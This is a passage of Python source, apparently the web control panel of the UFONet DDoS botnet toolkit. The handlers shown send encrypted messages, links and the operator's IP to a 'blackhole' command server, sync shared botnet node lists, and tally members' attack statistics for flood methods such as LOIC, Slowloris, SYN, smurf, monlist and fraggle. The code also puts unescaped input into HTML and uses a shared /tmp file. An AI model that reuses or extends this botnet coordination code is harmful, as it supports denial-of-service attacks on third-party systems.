  5646. wargames_target = self.encryptedtext
  5647. self.encryptedtext = "" # clean encryptedtext buffer
  5648. self.encrypt(wargames_enckey, wargames_estimated)
  5649. if self.encryptedtext:
  5650. wargames_estimated = self.encryptedtext
  5651. self.encryptedtext = "" # clean encryptedtext buffer
  5652. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  5653. try:
  5654. host = blackhole_ip
  5655. cport = 9992 # port used by mothership grider (server side script)
  5656. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5657. gs.settimeout(5.0)
  5658. gs.connect((host, cport))
  5659. gs.send(stream.encode())
  5660. gs.close()
  5661. try: # download latest wargames after submit
  5662. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  5663. f = open(self.wargames_file, "w") # write updates to wargames.txt
  5664. f.write(wargames)
  5665. f.close()
  5666. except:
  5667. pass
  5668. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  5669. except:
  5670. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  5671. except:
  5672. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  5673. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5674. f = open("/tmp/out", "w")
  5675. f.write(wargames_trans)
  5676. f.write(end_mark)
  5677. f.close()
  5678. if page == "/cmd_transfer_wargame_update":
  5679. if not os.path.exists('/tmp/out'):
  5680. open('/tmp/out', 'w').close()
  5681. with open('/tmp/out', 'r') as f:
  5682. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  5683. if page == "/cmd_transfer_link":
  5684. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5685. blackhole_ip = pGet["link_source2"]
  5686. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5687. try:
  5688. link_enckey = pGet["link_enckey"]
  5689. except:
  5690. link_enckey = ""
  5691. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5692. link_url = pGet["link_url"]
  5693. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  5694. pass
  5695. else:
  5696. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  5697. link_enckey = ""
  5698. if link_url.startswith("www."):
  5699. link_url = link_url.replace("www.","")
  5700. link_topic = pGet["link_topic"]
  5701. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5702. if link_enckey is not "": # stream creation + encryption + package send
  5703. try:
  5704. self.encrypt(link_enckey, link_creation)
  5705. if self.encryptedtext:
  5706. link_creation = self.encryptedtext
  5707. self.encryptedtext = "" # clean encryptedtext buffer
  5708. self.encrypt(link_enckey, link_url)
  5709. if self.encryptedtext:
  5710. link_url = self.encryptedtext
  5711. self.encryptedtext = "" # clean encryptedtext buffer
  5712. self.encrypt(link_enckey, link_topic)
  5713. if self.encryptedtext:
  5714. link_topic = self.encryptedtext
  5715. self.encryptedtext = "" # clean encryptedtext buffer
  5716. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  5717. try:
  5718. host = blackhole_ip
  5719. cport = 9992 # port used by mothership grider (server side script)
  5720. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5721. gs.settimeout(5.0)
  5722. gs.connect((host, cport))
  5723. gs.send(stream.encode())
  5724. gs.close()
  5725. try: # download latest links after submit
  5726. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  5727. f = open(self.links_file, "w") # write updates to links.txt
  5728. f.write(links)
  5729. f.close()
  5730. except:
  5731. pass
  5732. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  5733. except:
  5734. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  5735. except:
  5736. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  5737. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5738. f = open("/tmp/out", "w")
  5739. f.write(links_trans)
  5740. f.write(end_mark)
  5741. f.close()
  5742. if page == "/cmd_transfer_link_update":
  5743. if not os.path.exists('/tmp/out'):
  5744. open('/tmp/out', 'w').close()
  5745. with open('/tmp/out', 'r') as f:
  5746. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  5747. if page == "/cmd_transfer_stream":
  5748. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5749. blackhole_ip = pGet["stream_source2"]
  5750. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5751. try:
  5752. stream_enckey = pGet["stream_enckey"]
  5753. except:
  5754. stream_enckey = ""
  5755. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  5756. stream_url = pGet["stream_url"]
  5757. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  5758. pass
  5759. else:
  5760. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  5761. stream_enckey = ""
  5762. if stream_url.startswith("www."):
  5763. stream_url = stream_url.replace("www.","")
  5764. stream_topic = pGet["stream_topic"]
  5765. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5766. if stream_enckey is not "": # stream creation + encryption + package send
  5767. try:
  5768. self.encrypt(stream_enckey, stream_creation)
  5769. if self.encryptedtext:
  5770. stream_creation = self.encryptedtext
  5771. self.encryptedtext = "" # clean encryptedtext buffer
  5772. self.encrypt(stream_enckey, stream_url)
  5773. if self.encryptedtext:
  5774. stream_url = self.encryptedtext
  5775. self.encryptedtext = "" # clean encryptedtext buffer
  5776. self.encrypt(stream_enckey, stream_topic)
  5777. if self.encryptedtext:
  5778. stream_topic = self.encryptedtext
  5779. self.encryptedtext = "" # clean encryptedtext buffer
  5780. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  5781. try:
  5782. host = blackhole_ip
  5783. cport = 9992 # port used by mothership grider (server side script)
  5784. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5785. gs.settimeout(5.0)
  5786. gs.connect((host, cport))
  5787. gs.send(stream.encode())
  5788. gs.close()
  5789. try: # download latest links after submit
  5790. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  5791. f = open(self.streams_file, "w") # write updates to streams.txt
  5792. f.write(streams)
  5793. f.close()
  5794. except:
  5795. pass
  5796. streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
  5797. except:
  5798. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  5799. except:
  5800. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  5801. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5802. f = open("/tmp/out", "w")
  5803. f.write(streams_trans)
  5804. f.write(end_mark)
  5805. f.close()
  5806. if page == "/cmd_transfer_stream_update":
  5807. if not os.path.exists('/tmp/out'):
  5808. open('/tmp/out', 'w').close()
  5809. with open('/tmp/out', 'r') as f:
  5810. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  5811. if page == "/cmd_transfer_globalnet":
  5812. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5813. blackhole_ip = pGet["globalnet_source2"]
  5814. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5815. try:
  5816. globalnet_enckey = pGet["globalnet_enckey"]
  5817. except:
  5818. globalnet_enckey = ""
  5819. globalnet_owner = pGet["globalnet_owner"]
  5820. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  5821. globalnet_owner = "Anonymous"
  5822. globalnet_comment = pGet["globalnet_comment"]
  5823. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  5824. globalnet_comment = "-"
  5825. globalnet_warp = pGet["globalnet_warp"]
  5826. try:
  5827. globalnet_ip = requests.get(check_ip_service3).text
  5828. except:
  5829. try:
  5830. globalnet_ip = requests.get(check_ip_service2).text
  5831. except:
  5832. try:
  5833. globalnet_ip = requests.get(check_ip_service1).text
  5834. except:
  5835. globalnet_ip = "Unknown!"
  5836. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5837. if globalnet_enckey is not "": # stream creation + encryption + package send
  5838. try:
  5839. self.encrypt(globalnet_enckey, globalnet_owner)
  5840. if self.encryptedtext:
  5841. globalnet_owner = self.encryptedtext
  5842. self.encryptedtext = "" # clean encryptedtext buffer
  5843. self.encrypt(globalnet_enckey, globalnet_comment)
  5844. if self.encryptedtext:
  5845. globalnet_comment = self.encryptedtext
  5846. self.encryptedtext = "" # clean encryptedtext buffer
  5847. self.encrypt(globalnet_enckey, globalnet_warp)
  5848. if self.encryptedtext:
  5849. globalnet_warp = self.encryptedtext
  5850. self.encryptedtext = "" # clean encryptedtext buffer
  5851. self.encrypt(globalnet_enckey, globalnet_ip)
  5852. if self.encryptedtext:
  5853. globalnet_ip = self.encryptedtext
  5854. self.encryptedtext = "" # clean encryptedtext buffer
  5855. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  5856. try:
  5857. host = blackhole_ip
  5858. cport = 9992 # port used by mothership grider (server side script)
  5859. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5860. gs.settimeout(5.0)
  5861. gs.connect((host, cport))
  5862. gs.send(stream.encode())
  5863. gs.close()
  5864. try: # download latest globalnet after submit
  5865. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  5866. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  5867. f.write(globalnet)
  5868. f.close()
  5869. except:
  5870. pass
  5871. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  5872. except:
  5873. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  5874. except:
  5875. globalnet_trans = "[Error] [AI] Something wrong uploading location. Try it again...\n"
  5876. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5877. f = open("/tmp/out", "w")
  5878. f.write(globalnet_trans)
  5879. f.write(end_mark)
  5880. f.close()
  5881. if page == "/cmd_transfer_globalnet_update":
  5882. if not os.path.exists('/tmp/out'):
  5883. open('/tmp/out', 'w').close()
  5884. with open('/tmp/out', 'r') as f:
  5885. self.pages["/cmd_transfer_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  5886. if page == "/cmd_sync_board":
  5887. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  5888. blackhole_ip = pGet["board_source"]
  5889. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5890. try:
  5891. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  5892. f = open(self.board_file, "w") # write updates to board.txt
  5893. f.write(board)
  5894. f.close()
  5895. self.board_text = board
  5896. except:
  5897. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  5898. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5899. f = open("/tmp/out", "w")
  5900. f.write(str(board))
  5901. f.write(end_mark)
  5902. f.close()
  5903. if page == "/cmd_sync_board_update":
  5904. if not os.path.exists('/tmp/out'):
  5905. open('/tmp/out', 'w').close()
  5906. with open('/tmp/out', 'r') as f:
  5907. stream = f.read()
  5908. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  5909. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  5910. if page == "/cmd_send_message_board":
  5911. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  5912. blackhole_ip = pGet["board_source"]
  5913. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  5914. try:
  5915. board_key = pGet["board_key"]
  5916. except:
  5917. board_key = ""
  5918. try:
  5919. board_topic = pGet["board_topic"]
  5920. except:
  5921. board_topic = ""
  5922. try:
  5923. board_message = pGet["stream_txt"]
  5924. except:
  5925. board_message = ""
  5926. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  5927. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  5928. try:
  5929. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  5930. board_data = json.load(board_json_file)
  5931. board_json_file.close()
  5932. board_nickname = board_data["profile_nick"]
  5933. self.encrypt(board_key, board_nickname)
  5934. if self.encryptedtext:
  5935. board_nickname = self.encryptedtext
  5936. self.encryptedtext = "" # clean encryptedtext buffer
  5937. board_icon = board_data["profile_icon"]
  5938. board_icon = board_icon.replace("link", "") # keep just icon number
  5939. board_id = board_data["profile_token"]
  5940. self.encrypt(board_key, board_message)
  5941. if self.encryptedtext:
  5942. board_message = self.encryptedtext
  5943. self.encryptedtext = "" # clean encryptedtext buffer
  5944. if board_topic == "general":
  5945. board_topic = 1
  5946. elif board_topic == "opsec":
  5947. board_topic = 2
  5948. elif board_topic == "faq":
  5949. board_topic = 3
  5950. elif board_topic == "bugs":
  5951. board_topic = 4
  5952. elif board_topic == "media":
  5953. board_topic = 5
  5954. else:
  5955. board_topic = 1
  5956. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  5957. try:
  5958. host = blackhole_ip
  5959. cport = 9992 # port used by mothership grider (server side script)
  5960. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5961. gs.settimeout(30)
  5962. gs.connect((host, cport))
  5963. gs.send(stream.encode())
  5964. gs.close()
  5965. try: # download latest board after submit
  5966. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  5967. f = open(self.board_file, "w") # write updates to board.txt
  5968. f.write(board)
  5969. f.close()
  5970. except:
  5971. pass
  5972. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  5973. except:
  5974. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  5975. except:
  5976. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  5977. f = open("/tmp/out", "w")
  5978. f.write(board_trans)
  5979. f.write(end_mark)
  5980. f.close()
  5981. if page == "/cmd_send_message_board_update":
  5982. if not os.path.exists('/tmp/out'):
  5983. open('/tmp/out', 'w').close()
  5984. with open('/tmp/out', 'r') as f:
  5985. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  5986. if page == "/cmd_decrypt":
  5987. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  5988. try:
  5989. news_key = pGet["news_key"]
  5990. except:
  5991. news_key = ""
  5992. try:
  5993. missions_key = pGet["missions_key"]
  5994. except:
  5995. missions_key = ""
  5996. end_mark = "\n[Info] [AI] End of decryption."
  5997. if news_key is not "": # news decryption
  5998. self.decrypted_news = []
  5999. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6000. news_key = pGet["news_key"]
  6001. for news_text in self.list_news:
  6002. self.decrypt(news_key, news_text)
  6003. if self.decryptedtext:
  6004. if len(self.decryptedtext) < 2:
  6005. self.decrypted_news.append(nodec_text)
  6006. else:
  6007. self.decrypted_news.append(self.decryptedtext)
  6008. else:
  6009. self.decrypted_news.append(nodec_text)
  6010. self.decryptedtext = "" # clean decryptedtext buffer
  6011. f = open("/tmp/out", "w")
  6012. num_news = 0 # news counter
  6013. for m in self.decrypted_news:
  6014. num_news = num_news + 1
  6015. f.write("["+str(num_news)+"] " + str(m)+"\n")
  6016. f.write(end_mark)
  6017. f.close()
  6018. else:
  6019. if missions_key is not "": # missions decryption
  6020. self.decrypted_missions = []
  6021. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6022. missions_key = pGet["missions_key"]
  6023. for missions_text in self.list_missions:
  6024. self.decrypt(missions_key, missions_text)
  6025. if self.decryptedtext:
  6026. if len(self.decryptedtext) < 2:
  6027. self.decrypted_missions.append(nodec_text)
  6028. else:
  6029. self.decrypted_missions.append(self.decryptedtext)
  6030. else:
  6031. self.decrypted_missions.append(nodec_text)
  6032. self.decryptedtext = "" # clean decryptedtext buffer
  6033. f = open("/tmp/out", "w")
  6034. num_mission = 0 # missions counter
  6035. for m in self.decrypted_missions:
  6036. num_mission = num_mission + 1
  6037. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  6038. f.write(end_mark)
  6039. f.close()
  6040. else: # blackholes (nodes.dat) decryption + data showing
  6041. self.decrypted_blackholes = []
  6042. nodec_text = "*** [This message cannot be solved with that key...]"
  6043. blackhole_key = pGet["blackhole_key"]
  6044. for blackholes_text in self.list_blackholes:
  6045. self.decrypt(blackhole_key, blackholes_text)
  6046. if self.decryptedtext:
  6047. self.decrypted_blackholes.append(self.decryptedtext)
  6048. else:
  6049. self.decrypted_blackholes.append(nodec_text)
  6050. self.decryptedtext = "" # clean decryptedtext buffer
  6051. f = open("/tmp/out", "w")
  6052. num_blackholes = 0 # blackholes counter
  6053. for b in self.decrypted_blackholes:
  6054. num_blackholes = num_blackholes + 1
  6055. if blackhole_sep in b: # IP | Mode | Comment | Actions
  6056. s = b.rsplit(blackhole_sep, 1)[0]
  6057. ip = str(s.rsplit(blackhole_sep, 1)[0])
  6058. mode = str(s.rsplit(blackhole_sep, 1)[1])
  6059. if mode == "D": # Download only mode
  6060. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  6061. elif mode == "U": # Upload only mode
  6062. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6063. else: # Upload/Download mode
  6064. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  6065. comment = str(b.rsplit(blackhole_sep, 1)[1])
  6066. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  6067. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6068. else:
  6069. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  6070. f.write(end_mark)
  6071. f.close()
  6072. if page == "/cmd_decrypt_update":
  6073. if not os.path.exists('/tmp/out'):
  6074. open('/tmp/out', 'w').close()
  6075. with open('/tmp/out', 'r') as f:
  6076. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  6077. if page == "/news":
  6078. self.pages["/news"] = self.html_news()
  6079. if page == "/missions":
  6080. self.pages["/missions"] = self.html_missions()
  6081. if page == "/board":
  6082. self.pages["/board"] = self.html_board()
  6083. if page == "/grid":
  6084. self.pages["/grid"] = self.html_grid()
  6085. if page == "/wargames":
  6086. self.pages["/wargames"] = self.html_wargames()
  6087. if page == "/links":
  6088. self.pages["/links"] = self.html_links()
  6089. if page == "/streams":
  6090. self.pages["/streams"] = self.html_streams()
  6091. if page == "/games":
  6092. self.pages["/games"] = self.html_games()
  6093. if page == "/spaceinvaders":
  6094. self.pages["/spaceinvaders"] = self.html_spaceinvaders()
  6095. if page == "/browser":
  6096. self.pages["/browser"] = self.html_browser()
  6097. if page == "/globalnet":
  6098. self.pages["/globalnet"] = self.html_globalnet()
  6099. if page == "/grid_profile":
  6100. if pGet=={}:
  6101. self.pages["/grid_profile"] = self.html_grid_profile()
  6102. else:
  6103. self.save_grid(pGet)
  6104. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  6105. if page == "/board_profile":
  6106. if pGet =={}:
  6107. self.pages["/board_profile"] = self.html_board_profile()
  6108. else:
  6109. self.save_profile(pGet)
  6110. self.pages["/board_profile"] = self.html_board_profile_submit()
  6111. if page == "/board_remove":
  6112. self.pages["/board_remove"] = self.html_board_remove()
  6113. if page == "/grid_remove":
  6114. self.pages["/grid_remove"] = self.html_grid_remove()
  6115. if page == "/cmd_decrypt_moderator_board":
  6116. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  6117. try:
  6118. board_key = pGet["board_key"]
  6119. except:
  6120. board_key = ""
  6121. try:
  6122. filter = pGet["filter"]
  6123. except:
  6124. filter = ""
  6125. end_mark = "\n[Info] [AI] End of decryption."
  6126. if board_key is not "": # board decryption
  6127. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  6128. f = open("/tmp/out", "w")
  6129. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  6130. f.write(str(b)+"\n")
  6131. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  6132. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  6133. if board_msg_sep in m:
  6134. m = m.split(board_msg_sep)
  6135. topic = m[0] # topic
  6136. t = m[1] # icon
  6137. n = m[2] # nick
  6138. g = m[3] # id
  6139. l = m[4] # comment
  6140. if topic == "1":
  6141. topic = "/GENERAL"
  6142. elif topic == "2":
  6143. topic = "/#OPSEC "
  6144. elif topic == "3":
  6145. topic = "/FAQ "
  6146. elif topic == "4":
  6147. topic = "/BUGS "
  6148. elif topic == "5":
  6149. topic = "/MEDIA "
  6150. else:
  6151. topic = "/BUGS[!]"
  6152. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  6153. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  6154. self.decrypt(board_key, n)
  6155. if self.decryptedtext:
  6156. nick = self.decryptedtext
  6157. else:
  6158. nick = 'Anonymous' # We are legion!
  6159. try:
  6160. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  6161. except:
  6162. pass
  6163. if len(nick) < 3:
  6164. nick = 'Anonymous'
  6165. self.decryptedtext = "" # clean decryptedtext buffer
  6166. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  6167. self.decrypt(board_key, l)
  6168. if self.decryptedtext:
  6169. msg = self.decryptedtext
  6170. else:
  6171. msg = nodec_text
  6172. try:
  6173. msg = msg.decode('latin-1')
  6174. except:
  6175. pass
  6176. if len(msg) < 2:
  6177. msg = nodec_text
  6178. self.decryptedtext = "" # clean decryptedtext buffer
  6179. if filter in topic or filter == "ALL": # filter content by user selection
  6180. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  6181. b += "<font size=+2>"+str(topic)+"</font>"
  6182. b += "<br>by "+str(nick)+"<br><br>"
  6183. b += str(msg) + "</td></tr>"
  6184. f.write(str(b)+"\n")
  6185. else:
  6186. pass
  6187. else: # not valid stream data
  6188. pass
  6189. b="</table>"
  6190. f.write(str(b)+"\n")
  6191. f.write(end_mark)
  6192. f.close()
  6193. if page == "/cmd_decrypt_moderator_board_update":
  6194. if not os.path.exists('/tmp/out'):
  6195. open('/tmp/out', 'w').close()
  6196. with open('/tmp/out', 'r') as f:
  6197. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  6198. if page == "/cmd_decrypt_grid":
  6199. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  6200. try:
  6201. grid_key = pGet["grid_key"]
  6202. except:
  6203. grid_key = ""
  6204. end_mark = "[Info] [AI] End of decryption."
  6205. if grid_key is not "": # grid decryption
  6206. # Mothership stats counters
  6207. mothership_members = 0
  6208. unknown_members = 0
  6209. member_1 = 0 # Rookie
  6210. member_2 = 0 # Mercenary
  6211. member_3 = 0 # Bandit
  6212. member_4 = 0 # UFOmmander!
  6213. member_5 = 0 # UFOl33t!
  6214. mothership_missions = 0
  6215. mothership_transferred = 0
  6216. mothership_attacks = 0
  6217. mothership_loic = 0
  6218. mothership_loris = 0
  6219. mothership_ufosyn = 0
  6220. mothership_spray = 0
  6221. mothership_smurf = 0
  6222. mothership_xmas = 0
  6223. mothership_nuke = 0
  6224. mothership_tachyon = 0
  6225. mothership_monlist = 0
  6226. mothership_fraggle = 0
  6227. mothership_sniper = 0
  6228. mothership_ufoack = 0
  6229. mothership_uforst = 0
  6230. mothership_droper = 0
  6231. mothership_overlap = 0
  6232. mothership_pinger = 0
  6233. mothership_ufoudp = 0
  6234. mothership_chargo = 0
  6235. mothership_dorking = 0
  6236. mothership_maxchargo = 0
  6237. nodec_text = "KEY?"
  6238. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('missions','"+str(grid_key)+"')>MISSIONS:</a></td><td align='center'><a id='filter_attacks' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('attacks','"+str(grid_key)+"')>ATTACKS:</a></td><td align='center'><a id='filter_loic' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loic','"+str(grid_key)+"')>LOIC:</a></td><td align='center'><a id='filter_loris' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('loris','"+str(grid_key)+"')>LORIS:</a></td><td align='center'><a id='filter_ufosyn' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufosyn','"+str(grid_key)+"')>UFOSYN:</a></td><td align='center'><a id='filter_spray' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('spray','"+str(grid_key)+"')>SPRAY:</a></td><td align='center'><a id='filter_smurf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('smurf','"+str(grid_key)+"')>SMURF:</a></td><td align='center'><a id='filter_xmas' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('xmas','"+str(grid_key)+"')>XMAS:</a></td><td align='center'><a id='filter_nuke' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nuke','"+str(grid_key)+"')>NUKE:</a></td><td align='center'><a id='filter_tachyon' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('tachyon','"+str(grid_key)+"')>TACHYON:</a></td><td align='center'><a id='filter_monlist' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('monlist','"+str(grid_key)+"')>MONLIST:</a></td><td align='center'><a id='filter_fraggle' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('fraggle','"+str(grid_key)+"')>FRAGGLE:</a></td><td align='center'><a id='filter_sniper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('sniper','"+str(grid_key)+"')>SNIPER:</a></td><td align='center'><a id='filter_ufoack' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoack','"+str(grid_key)+"')>UFOACK:</a></td><td align='center'><a id='filter_uforst' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('uforst','"+str(grid_key)+"')>UFORST:</a></td><td align='center'><a id='filter_droper' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('droper','"+str(grid_key)+"')>DROPER:</a></td><td align='center'><a id='filter_overlap' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('overlap','"+str(grid_key)+"')>OVERLAP:</a></td><td align='center'><a id='filter_pinger' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('pinger','"+str(grid_key)+"')>PINGER:</a></td><td align='center'><a id='filter_ufoudp' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ufoudp','"+str(grid_key)+"')>UFOUDP:</a></td><td align='center'><a id='filter_contact' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('contact','"+str(grid_key)+"')>CONTACT:</a></td></tr>"
  6239. grid_key = pGet["grid_key"]
  6240. f = open("/tmp/out", "w")
  6241. self.list_grid_rev = reversed(self.list_grid) # order by DESC
  6242. for m in self.list_grid_rev: # rev(msg) = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, nuke, tachyon, monlist, fraggle, sniper, ufoack, uforst, droper, overlap, pinger, ufoudp, contact, ID
  6243. if grid_msg_sep in m:
  6244. version = m.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2|14->1.2.1|15->1.3|16->1.4|26->1.5)
  6245. m = m.split(grid_msg_sep)
  6246. mothership_members = mothership_members + 1 # add new registered member to mothership stats
  6247. grid_nickname = m[0] # nickname
  6248. self.decrypt(grid_key, grid_nickname)
  6249. if self.decryptedtext:
  6250. grid_nickname = self.decryptedtext
  6251. else:
  6252. grid_nickname = nodec_text
  6253. unknown_members = unknown_members + 1 # add members as unknown
  6254. self.decryptedtext = "" # clean decryptedtext buffer
  6255. if len(grid_nickname) > 12 or len(grid_nickname) < 3: # m[0] = grid_nickname (>str3<str12)
  6256. grid_nickname = "Anonymous"
  6257. else:
  6258. grid_nickname = str(grid_nickname) # nickname
  6259. grid_ranking = m[1] # ranking
  6260. self.decrypt(grid_key, grid_ranking)
  6261. if self.decryptedtext:
  6262. try:
  6263. grid_ranking = int(self.decryptedtext)
  6264. except:
